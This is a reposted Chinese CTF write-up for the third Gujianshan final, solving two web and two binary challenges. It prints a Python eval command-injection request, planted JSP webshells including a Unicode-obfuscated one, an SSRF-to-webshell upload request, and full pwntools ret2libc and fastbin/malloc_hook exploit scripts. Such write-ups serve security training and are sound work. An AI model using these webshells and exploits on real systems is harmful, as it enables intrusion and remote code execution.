文章总结: 文档分析了第三届古剑山决赛的Web和Pwn题目解题过程。Web1通过反编译pyc文件发现eval代码执行漏洞,利用${IFS}绕过空格限制;Web2发现D盾检测的JSP后门和Unicode混淆后门,结合Stapler框架的SSRF漏洞实现文件上传。Pwn1利用游戏中的整数溢出和栈溢出实现ROP攻击。关键技巧包括概率绕过、SSRF转发、文件名绕过和ret2libc利用。 综合评分: 87 文章分类: CTF,WEB安全,渗透测试,漏洞分析,二进制安全
第三届古剑山决赛WP
原创
Hades&An0ther Hades&An0ther
Zer0day安全
2026年4月15日 01:20 天津
在小说阅读器读本章
去阅读
Web
Web1
这题比较坑,需要反编译pyc文件,可以使用一些本地的反编译工具,比如uncompyle6、pycdc等,我这里直接使用的PyGlimmer集成的图形化工具
在magic.py存在混淆的后门,还原后为
| | | — | | Python import random import os eval_func = eval# LnAqcXWuxgkJVfIlPtEy str_func = str # LnAqcXWuxgkJVfIlPtEj class Magic: p1 = 1 p2 = 2 operator = ‘+’ settings = {‘password’: ‘pass’} def set_p(self, arg): # 随机将输入参数赋值给 p1 或 p2 if random.choice([0, 1]) == 0: self.p1 = arg else: self.p2 = arg def execute(self): # 核心漏洞点:拼接 p1, operator, p2 并直接 eval 执行 return eval_func(str_func(self.p1) + self.operator + str_func(self.p2)) def get_password(self): return self.settings[‘password’] def main_function(inp): magic = Magic() # 漏洞入口:以空格分割用户输入 arg1 = inp.split()[0] arg2 = inp.split()[1] magic.set_p(arg1) magic.set_p(arg2) # 50% 概率返回密码,50% 概率触发 eval 代码执行 if random.randint(0, 10) < 5: return magic.get_password() else: return magic.execute() |
其中main_function(inp)会将我们的输入按空格分割inp.split()取前两个元素,因此执行的命令需要使用${IFS}等代替空格
由于代码中有if random.randint(0, 10) < 5的限制,以及set_p的随机赋值特性,单次请求成功触发 RCE 的概率约为 25%
多次执行:
| | | — | | Python GET /magic_function/?data=__import__(‘os’).popen(‘curl${IFS}-k${IFS}https://10.17.0.3/Getkey/index/index’).read() ” |
Web2
D盾扫到后门
题目直接带的在webapps/ROOT/images/icons/.conf.jsp下
| | | — | | Java <% Runtime.getRuntime().exec(request.getParameter("c").split("%"));%> |
直接执行:
| | | — | | Java GET /images/icons/.conf.jsp?c=bash%-c%curl -k https://10.17.0.3/Getkey/index/index |
此外还有一个Unicode 混淆后门在webapps/ROOT/fonts/iconic/fonts/.jsp下
| | | — | | Java <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <% \uuuuuuuuuuuuuuuuuu0053\uuuuuuuuuuuuuuuu0074\uuuuuuuuuuuuuuuu0072\uuuuuuuuuuuuuuuuuuuuuuuuu0069\ …… %> |
解码后核心代码为一句话木马
| | | — | | Java String cmd = request.getParameter(“cmd”); Process process = Runtime.getRuntime().exec(cmd); |
直接执行即可:
| | | — | | Java GET /fonts/iconic/fonts/.jsp?cmd=curl -k https://10.17.0.3/Getkey/index/index |
漏洞点
先看web.xml,可以看到应用使用的是 Stapler 作为总路由入口,同时注册了监听器 com.collection.WebAppMain:
| |
| — |
| XML <servlet> <servlet-name>Stapler</servlet-name> <servlet-class>org.kohsuke.stapler.Stapler</servlet-class> </servlet> <servlet-mapping> <servlet-name>Stapler</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <listener> <listener-class>com.collection.WebAppMain</listener-class> </listener> |
继续反编译 WebAppMain 可以看到,在应用启动时调用了 Stapler.setRoot(…, new BookStore()),说明整个站点的根对象就是 BookStore。
也就是说,后续主要需要审计的类就是:
com.collection.WebAppMain
com.collection.BookStore
com.collection.UploadInterface
其中真正有利用价值的是 BookStore
在BookStore中,存在一个关键方法:
| | | — | | Java public java.lang.String doHeadUpload(org.kohsuke.stapler.StaplerRequest, org.kohsuke.stapler.StaplerResponse) |
按照 Stapler 的命名规则,doHeadUpload 会暴露成 /headUpload 路由。
反编译逻辑可知,该方法主要做了以下事情:
仅校验 request.getRemoteAddr().equals(“127.0.0.1”)
判断是否为 multipart/form-data
使用 commons-fileupload 解析上传内容
将文件写入:
| | | — | | Java request.getServletContext().getRealPath(“”) + “/uploads/” + fileName |
对文件名的限制只有一个:
| | | — | | Java if (fileName.contains(“..”)) return “{\”status\”:\”forbidden\”}”; |
也就是说:
- 没有限制扩展名
- 没有限制只能上传图片
- 没有随机化文件名
- 上传目录位于 webapps/ROOT/uploads/,属于 Web 根目录
- 如果上传 .jsp,Tomcat 会直接解析执行
在同一个根对象 BookStore 中,还有一个 getProxy() 方法,返回的是 com.stapler.StaplerProxy 对象。
在 StaplerProxy 中存在:
| | | — | | Java public void doProxyRequest(StaplerRequest req, StaplerResponse resp, String to) |
按 Stapler 规则,该方法对应的可访问路径就是:
| | | — | | Plain Text /proxy/proxyRequest/ |
继续分析 doProxyRequest 的逻辑,可以发现:
- 参数 to 只要以 http:// 或 https:// 开头即可
- 支持GET和POST
- 对于 POST,会把原始请求体转发出去
- 会转发大部分请求头
- 没有目标地址白名单
- 没有鉴权
因此这里实际上是一个无鉴权 SSRF。
所以利用这个这点就可以实现文件上传的绕过了
| | | — | | HTTP POST /proxy/proxyRequest/?to=http%3A%2F%2F127.0.0.1%2FheadUpload HTTP/1.1 Host: TARGET Content-Type: multipart/form-data; boundary=—-x Content-Length: 364 ——x Content-Disposition: form-data; name=”file”; filename=”shell.jsp” Content-Type: application/octet-stream <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if(cmd!=null){ Process p=Runtime.getRuntime().exec(new String[]{"bash","-c",cmd}); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); String l;while((l=br.readLine())!=null)out.println(l); } %> ——x– |
Pwn
Pwn1
发现是一个打龙王的游戏pwn 漏洞点一般都在击败龙王后的逻辑
直接搜字符串发现
这里snprintf 的目标缓冲区只有 0xa0,但返回值 n 是“本来应该写进去的总长度”,不是实际写进去的长度。程序直接把这个返回值拿去 read,于是形成栈溢出。
当dword_603074为0时触发胜利逻辑
当n92为0x80000000时触发win逻辑
这里n92和v2都是int类型 可以触发整数溢出
前面先赚20使n92为112 然后买26843547个HP-Medicine即可
112 – 80 * 26843547 == 0x80000000
后面就是正常的ret2libc
程序没给libc 泄露出puts函数的地址后三位发现是2.23的libc
| | | — | | Python #!/usr/bin/env python3 from pwn import * context.clear(arch=”amd64″, os=”linux”, log_level=”debug”) # io = remote(‘4.1.13.1′,int(9999)) io = process(“./king”) elf = ELF(“./king”) lib = elf.libc # gdb.attach(io) rdi = 0x401403 ret = 0x400621 main = 0x4012A0 def reach_win(payload): io.sendlineafter(b”>>> “, b”7″) io.sendlineafter(b”>>> “, b”7″) io.sendlineafter(b”>>> “, b”4″) io.sendlineafter(b”>>> “, b”1”) io.sendlineafter(b”How many HP-Medicine do you want: “, b”26843547″) io.sendlineafter(b”>>> “, b”3″) io.sendlineafter(b”>>> “, b”10″) io.sendafter(b”What’s your name?\n”, b”A” * 128) io.recvn(159) io.send(payload.ljust(275, b”P”)) def exploit(): stage1 = flat( { 184: [ rdi, elf.got[“puts”], elf.plt[“puts”], main, ] } ) reach_win(stage1) puts_leak = u64(io.recvuntil(b”\n”, drop=True).ljust(8, b”\x00″)) print(hex(puts_leak)) libc_base = puts_leak – 0x6F6A0 log.success(f”puts leak: {hex(puts_leak)}”) stage2 = flat( { 184: [ ret, rdi, libc_base + 0x00000000018CE57, libc_base + 0x0000000000453A0, ] } ) reach_win(stage2) exploit() #io.sendline(b’curl -k https://10.17.0.3/Getkey/index/index’) io.interactive() |
pwn2
2.23的堆 只有增 删 查三个功能
发现左移完成后,最后一个槽位没有被清空 这就存在UAF
后面就打fastbin attack即可
| | | — | | Python from pwn import * context.clear(arch=’amd64′, os=’linux’, log_level=’debug’) # io = remote(‘127.0.0.1’, 9999) io = process(‘./heap’) elf = ELF(‘./heap’) lib = elf.libc fake_bss = 0x60208d one_gadget = 0x4526a realloc_off = 0x10 def add(size, data): io.sendlineafter(b’Choice:’, b’1′) io.sendlineafter(b’Name Size:’, str(size).encode()) io.sendlineafter(b’Name:’, data) def show(index): io.sendlineafter(b’Choice:’, b’2′) io.sendlineafter(b’The id you want to show:’, str(index).encode()) def delete(index): io.sendlineafter(b’Choice:’, b’3′) io.sendlineafter(b’The id you want to drop:’, str(index).encode()) # gdb.attach(io) for i in (0, 1, 2): add(0x60, b’a’ * 8) for i in range(3, 19): add(0x20, b’a’ * 8) add(0x60, b’a’ * 8) for idx in (0, 18, 0, 17, 0, 19, 0, 0, 0): delete(idx) add(0x60, p64(fake_bss)) add(0x60, b’C’ * 8) add(0x60, b’D’ * 8) add(0x60, b’AAA’ + p64(elf.got[‘puts’]) + p64(0) * 7) show(0) io.recvuntil(b’The name is:’) puts_addr = u64(io.recv(6).ljust(8, b’\x00′)) success(‘puts: ‘ + hex(puts_addr)) libc_base = puts_addr – lib.sym[‘puts’] lib.address = libc_base success(‘libc_base: ‘ + hex(libc_base)) delete(16) delete(16) delete(16) add(0x60, p64(lib.sym[‘__malloc_hook’] – 0x23)) add(0x60, b’E’ * 8) add(0x60, b’F’ * 8) add(0x60, b’A’ * 0xb + p64(lib.address + one_gadget) + p64(lib.sym[‘realloc’] + realloc_off)) io.sendlineafter(b’Choice:’, b’1′) io.sendlineafter(b’Name Size:’, str(0x10).encode()) #io.sendlineafter(b’Name:’, b’curl -k https://10.17.0.3/Getkey/index/index’) io.interactive() |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Zer0day安全 Hades&An0ther Hades&An0ther《第三届古剑山决赛WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论